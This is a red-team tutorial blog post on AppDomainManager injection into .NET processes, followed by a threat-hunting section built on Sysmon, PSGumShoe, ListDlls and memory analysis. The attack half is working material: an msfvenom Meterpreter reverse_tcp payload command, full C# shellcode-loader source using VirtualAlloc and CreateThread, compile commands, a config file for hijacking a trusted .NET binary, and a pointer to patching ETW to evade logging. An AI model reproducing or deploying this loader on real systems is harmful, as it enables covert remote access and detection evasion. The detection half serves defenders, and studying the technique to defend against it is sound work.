Microsoft .NET framework is being heavily utilized by threat actors and red teams for defense evasion and staying off the radar during operations. Every .NET binary contains application domains where assemblies are loaded in a safe manner. The AppDomainManager object can be used to create new ApplicationDomains inside a .NET process.
From the perspective of red teaming this allows a .NET binary to be injected with a custom ApplicationDomain that will execute arbitrary code inside a process. Casey Smith is working on this domain since 2017 and recently released a proof of concept called GhostLoader which implements the technique of AppDomainManager injection in order to evade detection from Sysmon and other security tools that can identify ImageLoad events. This technique requires the following:
- A Base64 Payload
- A DLL
- A .NET Binary
AppDomainManager Injection
Metasploit Framework utility “msfvenom” can be used to generate various types of payloads include shellcode in raw format. The “base64” utility can be utilized to convert the payload into base64 format.
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=<IP> LPORT=<PORT>
base64 payload64.bin
msfvenom – Generate Base64 Payload
The C# file uses the AppDomainManager class in order to create a new AppDomain that will initially generate a message box. Then the VirtualAlloc() function will allocate a segment in the memory of the process and the CreateThread() will execute the code in the virtual address space of the process.
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
System.Windows.Forms.MessageBox.Show("AppDomainManager Injection - Pentest Laboratories");
bool res = ClassExample.Execute();
return;
}
}
public class ClassExample
{
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public static bool Execute()
{
// x64 Meterpreter Shellcode
byte[] installercode = System.Convert.FromBase64String("<Insert Payload>");
IntPtr funcAddr = VirtualAlloc(0, (UInt32)installercode.Length, 0x1000, 0x40);
Marshal.Copy(installercode, 0, (IntPtr)(funcAddr), installercode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
The file (uevmonitor.cs) can be converted into a DLL by using the Microsoft Visual C# Compiler which is part of the .NET framework. However the default AppDomainManager must be replaced with the name of the assembly and the type which defines the custom class created.
csc.exe /target:library /out:uevmonitor.dll uevmonitor.cs
set APPDOMAIN_MANAGER_ASM=uevmonitor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319
AppDomainManager Injection – Compile C# File
An alternative option to avoid execution of the commands related to the AppDomainManager values would be the usage of config file that will instruct the .NET binary about the arbitrary assembly that needs to load upon execution, the path and the class. The config file should be dropped in the same directory with the .NET binary that will load the assembly.
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="C:\Tools"/>
</assemblyBinding>
<appDomainManagerAssembly value="uevmonitor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
</runtime>
</configuration>
Executing the legitimate .NET binary will load also the arbitrary DLL (uevmonitor.dll) which will create initially a message box which will indicate that the injection was successful.
AppDomainManager Injection – Message Box
When the message box is closed the base64 payload will executed in the memory space of the .NET binary and a session with Meterpreter or with any other Command and Control (C2) framework will established.
AppDomainManager Injection – Meterpreter
Opening ProcessExplorer will validate that the malicious DLL has been loaded inside a trusted Windows process.
AppDomainManager Injection – Process Explorer
Since the file has been loaded through the AppDomain it will also appear in the .NET Assemblies tab.
FileHistory – Process Properties
The identification of the loaded assemblies is performed through the Event Tracing for Windows (ETW) which is implemented at the kernel level of the operating system. However it is possible to patch the ntdll!EtwEventWrite call in order to disable the ETW as it has been demonstrated by Adam Chester from MDSec in this article.
Unhook ETW
The result will be that ETW events will not be logged and the “.NET Assemblies” tab will be blank.
Process Explorer – .NET Assemblies
Threat Hunting
Modules (in this case a .dll file) which are loaded into a process are categorized in Sysmon with event ID 7. By default this setting is disabled because it will generate a large number of events. However enabling the setting could assist towards the detection of arbitrary DLL’s that are executed inside a process.
Sysmon installation is trivial and it doesn’t require a configuration file. However there are two configuration files that could be used to detect ImageLoaded Events (Event Type 7) either the StartLogging from Roberto Rodriguez or the sysmonconfig that was released by SwiftOnSecurity.
Sysmon64.exe -i StartLogging.xml
.\Sysmon64.exe -accepteula -i .\sysmonconfig-export.xml
Sysmon Installation CMD Sysmon Installation PowerShell
Executing the following command will dump the current configuration of System Monitor. The Image loading event is enabled when Sysmon is installed with one of the above configuration files.
Sysmon64.exe -c
Sysmon Configuration
The StartLogging.xml configuration is designed to log all Image Loaded events except of the following common utilities and programs.
<ImageLoad onmatch="exclude">
<Image condition="image">chrome.exe</Image>
<Image condition="image">vmtoolsd.exe</Image>
<Image condition="image">Sysmon.exe</Image>
<Image condition="image">mmc.exe</Image>
<Image condition="is">C:\Program Files (x86)\Google\Update\GoogleUpdate.exe</Image>
<Image condition="is">C:\Windows\System32\taskeng.exe</Image>
<Image condition="is">C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe</Image>
<Image condition="is">C:\Program Files\Windows Defender\NisSrv.exe</Image>
<Image condition="is">C:\Program Files\Windows Defender\MsMpEng.exe</Image>
</ImageLoad>
Filtering the results of Sysmon to display only events with ID 7 and performing a query to search for the DLL will validate that the arbitrary DLL that was not captured.
ImageLoaded Event – Sysmon
An alternative option to perform the query is to use PSGumShoe which is a Windows PowerShell module developed by Carlos Perez that could be used in threat hunting and forensics activities. The module contains a PowerShell script that can retrieve Sysmon Image Load events. Since Sysmon wasn’t able to capture that specific event the result will be blank.
Import-Module .\PSGumshoe.psm1
Get-SysmonImageLoadEvent -ImageLoaded "C:\Tools\uevmonitor.dll"
PSGumShoe – ImageLoaded Event
DLL files that are loaded into processes can be also retrieved with the Microsoft utility ListDlls. Attempting to retrieve information about the arbitrary DLL that was loaded into the FileHistory process will fail.
Listdlls – uevmonitor.dll
However reviewing the memory of the process will display the base address region that the DLL has been loaded with “PAGE_EXECUTE_WRITECOPY” (WCX) protection.
FileHistory – Memory Regions
Reviewing deeper the memory space of the process will lead to an increase length size in two memory regions. This is where the message box content is stored and a Base64 string which contains the shellcode.
FileHistory – Memory Address
The .NET assemblies tab also contain the loaded assemblies of the process and it could be considered during threat hunting if ETW is not disabled as demonstrate in the example above.
FileHistory .NET Assemblies
It is also a good practice to check whether the DLL has been loaded into other processes. In this case it is only mapped to the “FileHistory.exe” process.
FileHistory – Handles
The ModuleMonitor project uses the “Win32_ModuleLoadTrace” to monitor for modules loaded into processes and has also the ability to detect CLR injection attacks. Even though that the DLL has been injected into the CLR it doesn’t seem that the tool was able to catch this activity.
ModuleMonitor
This is because the tool can identify CLR injection attacks based on the principle that the file is not a .NET assembly. This is implemented by checking for the presence of the mscorlib (.NET class library). In this case the file is a .NET binary and the mscorlib can be seen in the .NET Assemblies tab in the process properties.
if (parts[parts.Length - 1].Contains("msco"))
{
Process proc = Process.GetProcessById((int) trace.ProcessID);
//Check if the file is a .NET Assembly
if (!IsValidAssembly(proc.StartInfo.FileName))
{
//If it is not, then the CLR has been injected.
Console.WriteLine();
Console.WriteLine("[!] CLR Injection has been detected!");
Analyzing the file with PeStudio will identify that the DLL is using the “FromBase64String()” method which is commonly used for encoding of shellcode. Other functions such as “VirtualAlloc()” (reserve region in the memory) and “CreateThread()” (thread is executed in the virtual address space of the current process) are also implemented and should lead to further investigation since most of the times are used in a malicious way.
pes studio – DLL Analysis
These functions can be also identified by observing the “Strings” tab of the DLL using process explorer.
DLL – Printable Strings DLL – FromBase64String
Usage of these functions is a strong indication that something is executed in the memory space of the process even though .NET binaries would not normally call these functions.
Process Memory – FromBase64String
Investigating the memory of the process would lead in the identification of the base64 payload.
Payload in Memory
Finally any .NET binary that is communicating with an external host should raise suspicious about its legitimacy.
FileHistory – Remote Connection
YouTube
VideoPress
Conclusion
The method of loading malicious assemblies into .NET processes is not new and it is used widely in red teaming scenarios that have a mature security operation center (SOC). It should be noted that this technique is not applied only to the FileHistory but to every .NET binary that exists on the system and the DLL name and the path are arbitrary which makes detection harder. Threat hunters should not rely on the assembly loading information but they should attempt to identify suspicious indicators in the memory space of the .NET process.
If you are interested to learn more about how Pentest Laboratories and our custom cyber attack scenarios can improve your organisation readiness against cyber threats please contact us.